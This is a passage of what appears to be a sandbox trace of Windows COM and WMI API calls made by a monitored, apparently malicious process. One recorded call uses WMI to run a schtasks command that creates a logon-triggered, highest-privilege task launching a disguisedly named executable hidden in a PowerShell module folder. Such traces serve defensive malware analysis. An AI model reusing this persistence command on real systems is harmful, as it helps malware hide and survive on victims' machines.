WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b340, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bf3b340) returned 0x0 [0065.911] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b340, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0065.911] WbemDefPath:IUnknown:AddRef (This=0x1bf3b340) returned 0x3 [0065.911] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b340, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0065.911] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b340, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0065.911] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b340, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x11f8fd0) returned 0x0 [0065.912] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11f8fd0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0065.912] WbemDefPath:IUnknown:Release (This=0x11f8fd0) returned 0x3 [0065.912] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0065.912] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0065.912] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b340, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0065.912] WbemDefPath:IUnknown:Release (This=0x1bf3b340) returned 0x2 [0065.912] WbemDefPath:IUnknown:Release (This=0x1bf3b340) returned 0x1 [0065.912] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0065.912] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0065.912] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b340, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bf3b340) returned 0x0 [0065.912] WbemDefPath:IUnknown:AddRef (This=0x1bf3b340) returned 0x3 [0065.912] WbemDefPath:IUnknown:Release (This=0x1bf3b340) returned 0x2 [0065.912] WbemDefPath:IWbemPath:SetText (This=0x1bf3b340, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0065.912] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b400, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0065.912] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b340, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0065.912] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b340, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0065.912] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b340, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="root\\cimv2") returned 0x0 [0065.912] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bf3b400) returned 0x0 [0065.912] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b340, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0065.912] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3b340, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0065.912] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3b340, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="root") returned 0x0 [0065.912] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bf3b400, uIndex=0x0, pszName="root") returned 0x0 [0065.912] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3b340, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0065.912] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3b340, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="cimv2") returned 0x0 [0065.912] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bf3b400, uIndex=0x1, pszName="cimv2") returned 0x0 [0065.912] WbemDefPath:IWbemPath:GetServer (in: This=0x1bf3b340, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0065.912] WbemDefPath:IWbemPath:GetServer (in: This=0x1bf3b340, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0065.913] WbemDefPath:IWbemPath:GetServer (in: This=0x1bf3b400, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0065.913] WbemDefPath:IWbemPath:GetServer (in: This=0x1bf3b400, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0065.913] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf3b400, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0xc15) returned 0x0 [0065.913] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b880, puCount=0x1b2fd8d0 | out: puCount=0x1b2fd8d0*=0x2) returned 0x0 [0065.913] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b880, lFlags=4, puBuffLength=0x1b2fd8c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8c8*=0xf, pszText=0x0) returned 0x0 [0065.913] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b880, lFlags=4, puBuffLength=0x1b2fd8c8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8c8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0065.913] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b880, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0065.913] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b880, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0065.913] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b880, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0065.913] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b400, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0065.913] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b400, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x1d, pszText=0x0) returned 0x0 [0065.913] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b400, lFlags=4, puBuffLength=0x1b2fd958*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0065.913] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b400, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0065.914] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b400, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0065.914] IWbemServices:GetObject (in: This=0x1bf53db0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd7b0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd7b0*=0x1bf43be0, ppCallResult=0x0) returned 0x0 [0065.918] IWbemClassObject:GetMethod (in: This=0x1bf43be0, wszName="Create", lFlags=0, ppInSignature=0x1b2fd9e8, ppOutSignature=0x1b2fd9e0 | out: ppInSignature=0x1b2fd9e8*=0x1bf43f50, ppOutSignature=0x1b2fd9e0*=0x1bf442c0) returned 0x0 [0066.015] IWbemClassObject:SpawnInstance (in: This=0x1bf43f50, lFlags=0, ppNewInstance=0x1b2fd9f8 | out: ppNewInstance=0x1b2fd9f8*=0x1bf19220) returned 0x0 [0066.016] IWbemClassObject:Get (in: This=0x1bf19220, wszName="CommandLine", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2905b90*=0, plFlavor=0x2905b94*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2905b90*=8, plFlavor=0x2905b94*=32) returned 0x0 [0066.017] IWbemClassObject:Get (in: This=0x1bf19220, wszName="CommandLine", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2905b90*=8, plFlavor=0x2905b94*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2905b90*=8, plFlavor=0x2905b94*=32) returned 0x0 [0066.017] IWbemClassObject:Put (This=0x1bf19220, wszName="CommandLine", lFlags=0, pVal=0x1b2fd970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"yahoomessenger\" /sc ONLOGON /tr \"'C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0066.018] IWbemClassObject:Get (in: This=0x1bf19220, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2905c20*=0, plFlavor=0x2905c24*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2905c20*=13, plFlavor=0x2905c24*=32) returned 0x0 [0066.018] IWbemClassObject:Get (in: This=0x1bf19220, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2905c20*=13, plFlavor=0x2905c24*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2905c20*=13, plFlavor=0x2905c24*=32) returned 0x0 [0066.018] IUnknown:QueryInterface (in: This=0x1bf45e40, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd2e8 | out: ppvObject=0x1b2fd2e8*=0x1bf45e40) returned 0x0 [0066.018] IUnknown:QueryInterface (in: This=0x1bf45e40, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fd390 | out: ppvObject=0x1b2fd390*=0x0) returned 0x80004002 [0066.018] IUnknown:QueryInterface (in: This=0x1bf45e40, riid=0x7fef1d169a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcfb8 | out: ppvObject=0x1b2fcfb8*=0x0) returned 0x80004002 [0066.018] IUnknown:AddRef (This=0x1bf45e40) returned 0x3 [0066.018] IUnknown:QueryInterface (in: This=0x1bf45e40, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fca38 | out: ppvObject=0x1b2fca38*=0x0) returned 0x80004002 [0066.018] IUnknown:QueryInterface (in: This=0x1bf45e40, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc9c0 | out: ppvObject=0x1b2fc9c0*=0x0) returned 0x80004002 [0066.018] IUnknown:QueryInterface (in: This=0x1bf45e40, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9b0 | out: ppvObject=0x1b2fc9b0*=0x1bf45e48) returned 0x0 [0066.018] IMarshal:GetUnmarshalClass (in: This=0x1bf45e48, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc9d8 | out: pCid=0x1b2fc9d8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0066.019] IUnknown:Release (This=0x1bf45e48) returned 0x3 [0066.019] CoGetContextToken (in: pToken=0x1b2fca60 | out: pToken=0x1b2fca60) returned 0x0 [0066.019] CoGetContextToken (in: pToken=0x1b2fcee0 | out: pToken=0x1b2fcee0) returned 0x0 [0066.019] IUnknown:QueryInterface (in: This=0x1bf45e40, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcfa0 | out: ppvObject=0x1b2fcfa0*=0x0) returned 0x80004002 [0066.019] IUnknown:Release (This=0x1bf45e40) returned 0x2 [0066.019] CoGetContextToken (in: pToken=0x1b2fce30 | out: pToken=0x1b2fce30) returned 0x0 [0066.019] CoGetContextToken (in: pToken=0x1b2fcd30 | out: pToken=0x1b2fcd30) returned 0x0 [0066.019] IUnknown:QueryInterface (in: This=0x1bf45e40, riid=0x1b2fce90*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b2fce60 | out: ppvObject=0x1b2fce60*=0x0) returned 0x80004002 [0066.019] CoGetContextToken (in: pToken=0x1b2fcfc0 | out: pToken=0x1b2fcfc0) returned 0x0 [0066.019] IUnknown:QueryInterface (in: This=0x1bf45e40, riid=0x7fef1d2d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd090 | out: ppvObject=0x1b2fd090*=0x0) returned 0x80004002 [0066.019] CoGetContextToken (in: pToken=0x1b2fd050 | out: pToken=0x1b2fd050) returned 0x0 [0066.019] IUnknown:AddRef (This=0x1bf45e40) returned 0x3 [0066.019] IWbemClassObject:Put (This=0x1bf19220, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd970*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1bf45e40, varVal2=0x0), Type=0) returned 0x0 [0066.020] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b7c0, puCount=0x1b2fda10 | out: puCount=0x1b2fda10*=0x2) returned 0x0 [0066.020] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b7c0, lFlags=4, puBuffLength=0x1b2fda08*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda08*=0x26, pszText=0x0) returned 0x0 [0066.020] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b7c0, lFlags=4, puBuffLength=0x1b2fda08*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fda08*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0066.020] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b880, puCount=0x1b2fd950 | out: puCount=0x1b2fd950*=0x2) returned 0x0 [0066.020] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b880, lFlags=4, puBuffLength=0x1b2fd948*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd948*=0xf, pszText=0x0) returned 0x0 [0066.020] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b880, lFlags=4, puBuffLength=0x1b2fd948*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd948*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0066.020] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b7c0, lFlags=2, puBuffLength=0x1b2fda18*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda18*=0xe, pszText=0x0) returned 0x0 [0066.020] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b7c0, lFlags=2, puBuffLength=0x1b2fda18*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda18*=0xe, pszText="Win32_Process") returned 0x0 [0066.020] IWbemServices:ExecMethod (in: This=0x1bf53db0, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1bf19220, ppOutParams=0x1b2fd820*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b2fd820*=0x1bf194d0, ppCallResult=0x0) returned 0x0 [0066.102] IWbemClassObject:Get (in: This=0x1bf194d0, wszName="ProcessId", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2905f38*=0, plFlavor=0x2905f3c*=0 | out: pVal=0x1b2fd978*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xf60, varVal2=0x0), pType=0x2905f38*=19, plFlavor=0x2905f3c*=0) returned 0x0 [0066.102] IWbemClassObject:Get (in: This=0x1bf194d0, wszName="ProcessId", lFlags=0, pVal=0x1b2fd988*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2905f38*=19, plFlavor=0x2905f3c*=0 | out: pVal=0x1b2fd988*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xf60, varVal2=0x0), pType=0x2905f38*=19, plFlavor=0x2905f3c*=0) returned 0x0 [0066.104] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0066.104] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0066.104] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0066.104] IUnknown:Release (This=0x111f638) returned 0x1 [0066.106] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1bef8e60) returned 0x0 [0066.106] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bef8e60, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0066.106] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bef8e60, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1bf3b280) returned 0x0 [0066.106] WbemDefPath:IUnknown:Release (This=0x1bef8e60) returned 0x0 [0066.106] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b280, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1bf3b280) returned 0x0 [0066.107] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b280, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0066.107] WbemDefPath:IUnknown:AddRef (This=0x1bf3b280) returned 0x3 [0066.107] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b280, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0066.107] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b280, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0066.107] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b280, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1bef8c40) returned 0x0 [0066.107] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bef8c40, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0066.107] WbemDefPath:IUnknown:Release (This=0x1bef8c40) returned 0x3 [0066.107] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0066.107] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0066.107] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b280, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0066.107] WbemDefPath:IUnknown:Release (This=0x1bf3b280) returned 0x2 [0066.107] WbemDefPath:IUnknown:Release (This=0x1bf3b280) returned 0x1 [0066.107] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0066.107] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0066.107] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b280, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1bf3b280) returned 0x0 [0066.107] WbemDefPath:IUnknown:AddRef (This=0x1bf3b280) returned 0x3 [0066.107] WbemDefPath:IUnknown:Release (This=0x1bf3b280) returned 0x2 [0066.108] WbemDefPath:IWbemPath:SetText (This=0x1bf3b280, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0066.108] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b280, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0066.108] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b280, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0xe, pszText=0x0) returned 0x0 [0066.108] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b280, lFlags=2, puBuffLength=0x1b2fda58*=0xe, pszText="0000000000000" | out: 